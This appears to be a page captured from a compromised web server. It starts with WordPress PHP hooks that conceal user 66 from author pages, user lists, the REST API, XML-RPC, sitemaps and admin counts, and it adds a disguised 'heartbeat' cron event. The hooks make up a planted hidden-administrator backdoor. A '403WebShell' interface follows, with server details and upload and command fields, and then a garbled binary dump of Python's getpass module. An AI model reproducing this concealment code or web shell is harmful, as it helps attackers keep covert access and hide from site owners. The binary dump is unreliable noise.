add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/814/root/lib/python3.12/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/814/root/lib/python3.12/__pycache__/getpass.cpython-312.pyc
�

:5jf���dZddlZddlZddlZddlZddlZgd�ZGd�de�Zdd�Z	dd�Z
dd�Zdd	�Zd
�Z
	ddlZejej fe	Zy#eef$r	ddlZe
ZYy#e$reZYYywxYwwxYw)
a�Utilities to get a password and/or the current user name.

getpass(prompt[, stream]) - Prompt for a password, with echo turned off.
getuser() - Get the user name from the environment or password database.

GetPassWarning - This UserWarning is issued when getpass() cannot prevent
                 echoing of the password contents while reading.

On Windows, the msvcrt module will be used.

�N)�getpass�getuser�GetPassWarningc��eZdZy)rN)�__name__�
__module__�__qualname__���/usr/lib/python3.12/getpass.pyrrs�rrc���d}tj�5}	tjdtjtj
z�}t
j|d�}|j|�t
j|�}|j|�|s|}|��	t'j(|�}|dd}|dxxt&j*zcc<t&j,}	t/t&d�r|	t&j0z}		t'j2||	|�t5|||��}t'j2||	|�|j7�	|j;d�|cddd�S#t$ry|j�	tjj�}n##tt f$rd}t#||�}YnwxYwtj}|stj$}Y��WwxYw#t'j2||	|�|j7�wxYw#t&j8$r'|��||ur|j�t#||�}Y��wxYw#1swYyxYw)aPrompt for a password, with echo turned off.

    Args:
      prompt: Written on stream to ask for the input.  Default: 'Password: '
      stream: A writable file object to display the prompt.  Defaults to
              the tty.  If no tty is available defaults to sys.stderr.
    Returns:
      The seKr3t input.
    Raises:
      EOFError: If our input tty or stdin was closed.
      GetPassWarning: When we were unable to turn echo off on the input.

    Always restores terminal settings before returning.
    Nz/dev/ttyzw+��TCSASOFT)�input�
)�
contextlib�	ExitStack�os�open�O_RDWR�O_NOCTTY�io�FileIO�
enter_context�
TextIOWrapper�OSError�close�sys�stdin�fileno�AttributeError�
ValueError�fallback_getpass�stderr�termios�	tcgetattr�ECHO�	TCSAFLUSH�hasattrr�	tcsetattr�
_raw_input�flush�error�write)
�prompt�stream�passwd�stack�fd�ttyr�old�new�tcsetattr_flagss
          r�unix_getpassr8s���F�	�	�	�	�1�5�	$�����R�Y�Y�r�{�{�%:�;�B��)�)�B��%�C�����$��$�$�S�)�E�����&�����>�
:��'�'��+���!�f���A��7�<�<�-�'��")�"3�"3���7�J�/�#�w�'7�'7�7�O�#��%�%�b�/�3�?�'���e�D�F��%�%�b�/�3�?��L�L�N�	���T���c1�1���
	$��K�K�M�
:��Y�Y�%�%�'���"�J�/�
:���)�&�&�9��
:���I�I�E�������
	$��0�%�%�b�/�3�?��L�L�N���=�=�

:��%����&��K�K�M�)�&�&�9��

:��I1�1�s��I#�BE5�I#�"A)H&�%G:�1'H&�I#�5G7�F.�-G7�.G�G7�
G�%G7�3I#�6G7�7I#�:)H#�#H&�&6I �I#�I � I#�#I,c�f�tjtjurt||�S|D]}t	j
|��d}	t	j�}|dk(s|dk(rn|dk(rt�|dk(r|dd}n||z}�;t	j
d�t	j
d�|S)z:Prompt for password with echo off, using Windows getwch().��
r��N���)rr�	__stdin__r#�msvcrt�putwch�getwch�KeyboardInterrupt)r/r0�c�pws    r�win_getpassrFas���
�y�y��
�
�%����/�/�
����
�
�a���	�B�
��M�M�O����9��T�	����;�#�#���9��C�R��B��a��B���M�M�$��
�M�M�$��
�Irc��tjdtd��|stj}td|��t
||�S)Nz%Can not control echo on the terminal.�)�
stacklevelz&Warning: Password input may be echoed.)�file)�warnings�warnrrr$�printr+)r/r0s  rr#r#xs:���M�M�9�>�� ������	�
2��@��f�f�%�%rc��|stj}|stj}t|�}|r"	|j	|�|j�|j�}|st�|ddk(r|dd}|S#t
$rK|j
|jd�}|j|j�}|j	|�Y��wxYw)N�replacer>r)rr$r�strr.�UnicodeEncodeError�encode�encoding�decoder,�readline�EOFError)r/r0r�lines    rr+r+�s����������	�	��
��[�F�
�	!��L�L�� �	�����>�>��D�����B�x�4���C�R�y���K��"�	!��]�]�6�?�?�I�>�F��]�]�6�?�?�3�F��L�L�� �		!�s�A;�;AC�Cc��dD]'}tjj|�}|s�%|cSddl}|j	tj
��dS)z�Get the username from the environment or password database.

    First try various environment variables, then the password
    database.  This works on Windows as long as USERNAME is set.

    )�LOGNAME�USER�LNAME�USERNAMErN)r�environ�get�pwd�getpwuid�getuid)�name�userr_s   rrr�sL��9����z�z�~�~�d�#����K����<�<��	�	��$�Q�'�'r)z
Password: N)r:NN)�__doc__rrrrrK�__all__�UserWarningrr8rFr#r+rr%r&r*r�ImportErrorr!r@r
rr�<module>rhs���
� �	�	�
��
0��(�[�'�A�H�.&��2(�$
�����w�(�(�(��G��	�^�$��������#�"��#���s/�A�A8�!A)�%A8�)A4�0A8�3A4�4A8

Youez - 2016 - github.com/yon3zu
LinuXploit